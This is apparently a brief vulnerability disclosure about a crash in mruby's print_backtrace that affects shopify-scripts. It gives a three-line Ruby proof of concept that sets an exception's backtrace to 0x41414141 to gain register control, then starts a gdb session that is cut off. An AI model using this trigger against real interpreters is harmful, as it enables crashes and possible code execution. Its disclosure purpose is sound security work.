shopify-scripts: Crash in print_backtrace

This crash does not affect mruby-engine because it does not print the back trace in guest. We can control the register by setting a backtrace array. PoC ruby exc = Exception.new exc.setbacktrace0x41414141 raise exc GDB $ gdb -q --args ./bin/mruby test12.rb Reading symbols from ./bin/mruby...done...